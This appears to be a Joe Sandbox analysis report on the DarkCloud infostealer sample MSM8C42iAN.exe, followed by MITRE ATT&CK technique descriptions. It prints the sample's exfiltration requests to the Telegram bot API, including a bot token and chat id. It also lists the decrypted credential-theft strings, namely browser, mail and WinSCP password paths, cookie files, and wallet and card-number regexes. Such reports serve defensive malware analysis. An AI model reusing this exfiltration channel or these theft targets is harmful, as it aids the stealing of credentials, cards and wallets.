Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: showip.net
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: MSM8C42iAN.exe	String decryptor: Cookies
Source: MSM8C42iAN.exe	String decryptor: ^(0x){1}[0-9a-fA-F]{40}$
Source: MSM8C42iAN.exe	String decryptor: ^([13][a-km-zA-HJ-NP-Z1-9]{25,34})\|^((bitcoincash:)?(q\|p)[a-z0-9]{41})\|^((BITCOINCASH:)?(Q\|P)[A-Z0-9]{41})$
Source: MSM8C42iAN.exe	String decryptor: ^([r])([1-9A-HJ-NP-Za-km-z]{24,34})$
Source: MSM8C42iAN.exe	String decryptor: ^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$
Source: MSM8C42iAN.exe	String decryptor: ^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$
Source: MSM8C42iAN.exe	String decryptor: ^G[ABCDEFGHIJKLMNOPQRSTUVWXYZ234567]{55}$
Source: MSM8C42iAN.exe	String decryptor: \Default\Login Data
Source: MSM8C42iAN.exe	String decryptor: \Login Data
Source: MSM8C42iAN.exe	String decryptor: //setting[@name='Password']/value
Source: MSM8C42iAN.exe	String decryptor: Password :
Source: MSM8C42iAN.exe	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: MSM8C42iAN.exe	String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Source: MSM8C42iAN.exe	String decryptor: Software\Martin Prikryl\WinSCP 2\Sessions
Source: MSM8C42iAN.exe	String decryptor: SMTP Email Address
Source: MSM8C42iAN.exe	String decryptor: NNTP Email Address
Source: MSM8C42iAN.exe	String decryptor: Email
Source: MSM8C42iAN.exe	String decryptor: HTTPMail User Name
Source: MSM8C42iAN.exe	String decryptor: HTTPMail Server
Source: MSM8C42iAN.exe	String decryptor: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$
Source: MSM8C42iAN.exe	String decryptor: Password
Source: MSM8C42iAN.exe	String decryptor: ^(?!:\/\/)([a-zA-Z0-9-_]+\.)[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$
Source: MSM8C42iAN.exe	String decryptor: Foxmail.exe
Source: MSM8C42iAN.exe	String decryptor: ^3[47][0-9]{13}$
Source: MSM8C42iAN.exe	String decryptor: ^(6541\|6556)[0-9]{12}$
Source: MSM8C42iAN.exe	String decryptor: ^389[0-9]{11}$
Source: MSM8C42iAN.exe	String decryptor: ^3(?:0[0-5]\|[68][0-9])[0-9]{11}$
Source: MSM8C42iAN.exe	String decryptor: ^63[7-9][0-9]{13}$
Source: MSM8C42iAN.exe	String decryptor: ^(?:2131\|1800\|35\\d{3})\\d{11}$
Source: MSM8C42iAN.exe	String decryptor: ^9[0-9]{15}$
Source: MSM8C42iAN.exe	String decryptor: ^(6304\|6706\|6709\|6771)[0-9]{12,15}$
Source: MSM8C42iAN.exe	String decryptor: ^(5018\|5020\|5038\|6304\|6759\|6761\|6763)[0-9]{8,15}$
Source: MSM8C42iAN.exe	String decryptor: Mastercard
Source: MSM8C42iAN.exe	String decryptor: ^(6334\|6767)[0-9]{12}\|(6334\|6767)[0-9]{14}\|(6334\|6767)[0-9]{15}$
Source: MSM8C42iAN.exe	String decryptor: ^(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{12}\|(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{14}\|(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{15}\|564182[0-9]{10}\|564182[0-9]{12}\|564182[0-9]{13}\|633110[0-9]{10}\|633110[0-9]{12}\|633110[0-9]{13}$
Source: MSM8C42iAN.exe	String decryptor: ^(62[0-9]{14,17})$
Source: MSM8C42iAN.exe	String decryptor: Visa Card
Source: MSM8C42iAN.exe	String decryptor: ^(?:4[0-9]{12}(?:[0-9]{3})?\|5[1-5][0-9]{14})$
Source: MSM8C42iAN.exe	String decryptor: Visa Master Card
Source: MSM8C42iAN.exe	String decryptor: \signons.sqlite
Source: MSM8C42iAN.exe	String decryptor: \logins.json
Source: MSM8C42iAN.exe	String decryptor: mail\
Source: MSM8C42iAN.exe	String decryptor: \Accounts\Account.rec0
Source: MSM8C42iAN.exe	String decryptor: \AccCfg\Accounts.tdat
Source: MSM8C42iAN.exe	String decryptor: EnableSignature
Source: MSM8C42iAN.exe	String decryptor: Application : FoxMail
Source: MSM8C42iAN.exe	String decryptor: encryptedUsername
Source: MSM8C42iAN.exe	String decryptor: logins
Source: MSM8C42iAN.exe	String decryptor: encryptedPassword
Source: MSM8C42iAN.exe	String decryptor: \Cookies
Source: MSM8C42iAN.exe	String decryptor: \Default\Cookies
Source: MSM8C42iAN.exe	String decryptor: \cookies.sqlite
Source: MSM8C42iAN.exe	String decryptor: \cookies.db

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MSM8C42iAN.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DarkCloud

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataDqJdpmHo.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataHhUnZmvD.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataOebbnOVW.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataWctSLmwW.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataZWdrgPWC.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDatansgiHqmX.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\KeyDataovGFJnlG.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\LogqueintiseRngmeEXkkcAcRDShRzsDXooICEfirelit

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotAfUkbnDa.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotPCPZmWJw.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotRmCCGgAk.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotmIUnEnEe.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotuCjDoATa.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotwoFBNXXE.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotyVquSyRx.BMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\WebData

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db-shm

Static File Info

Windows Analysis Report
MSM8C42iAN.exe